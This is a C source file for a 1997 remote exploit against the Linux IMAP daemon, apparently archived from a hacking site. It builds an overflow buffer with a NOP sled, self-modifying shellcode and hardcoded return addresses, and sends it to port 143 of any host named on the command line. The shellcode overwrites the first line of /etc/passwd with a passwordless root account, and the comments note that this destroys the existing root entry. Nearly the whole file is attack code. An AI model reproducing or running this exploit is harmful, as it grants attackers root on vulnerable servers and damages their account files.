/*
 
    This is the remote exploit of the hole in the imap daemon, for
    Linux.   The instruction  code is  doing open(),  write(), and
    close() system calls, and   it adds a line root::0:0..  at the
    beggining of  /etc/passwd (change  to /etc/shadow  if needed).
    The  code  needs  to  be  self  modifying  since  imapd  turns
    everything  to  lowercase  before  it  pushes it on the stack.
    The  problem   is   that  it  rewrites   the  first  line   of
    passwd/shadow, therefore loosing the root password.
 
    I'm sorry, but I don't have time to add in the seek syscall.
 
    - Akylonius (aky@galeb.etf.bg.ac.yu) [1997]
 
    Modifications made on 5.1.97 to accept command line  hostname,
    with 'h_to_ip'  function that  resolves it  to an  ip.   -  p1
    (p1@el8.org)
 
*/

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>

char *h_to_ip(char *hostname);

char *h_to_ip(char *hostname)
{

  struct hostent *h;
  struct sockaddr_in tmp;
  struct in_addr in;

  h = gethostbyname(hostname);

  if (h==NULL)
    {
      perror("Resolving the host. \n");
      exit(-1);
    }

  memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
  memcpy(&in,&tmp.sin_addr.s_addr,4);

  return(inet_ntoa(in));
}

void banner(void)
{
  system("clear");
  printf("\nIMAP Exploit for Linux.\n");
  printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
  printf(" Modifications: p1 (p1@el8.org)\n");
}

main(int argc, char **argv)
{

  int fd;
  struct sockaddr_in sckdaddr;
  char *hostname;
  char buf[4092];
  int i=8;
  char realegg[] =
    "\xeb\x58\x5e"
    "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
    "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
    "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
    "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
    "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
    "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
    "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
    "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
    "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
    "/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
  char *point = realegg;
  buf[0]='*';
  buf[1]=' ';
  buf[2]='l';
  buf[3]='o';
  buf[4]='g';
  buf[5]='i';
  buf[6]='n';
  buf[7]=' ';

  banner();

  if (argc<2)
    {
      printf("\nUsage: %s <hostname>\n\n", argv[0]);
      exit(-1);
    }

  hostname=argv[1];

  while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
    buf[i++]=0x90;

  while(*point)
    buf[i++]=*(point++);

  buf[i++]=0x83; /* ebp */
  buf[i++]=0xf3;
  buf[i++]=0xff;
  buf[i++]=0xbf;
  buf[i++]=0x88; /* ret adr */
  buf[i++]=0xf8;
  buf[i++]=0xff;
  buf[i++]=0xbf;

  buf[i++]=' ';
  buf[i++]='b';
  buf[i++]='a';
  buf[i++]='h';
  buf[i++]='\n';

  buf[i++]=0x0;

  if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n");

  sckdaddr.sin_port=htons(143);
  sckdaddr.sin_family=AF_INET;
  sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

  if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
    perror("Error with connecting. \n");

  printf("hmm: \n");
  getchar();
  write(fd,buf,strlen(buf)+1);
  printf("hmm: \n");
  close(fd);
}
/*                    www.hack.co.za              [2000]*/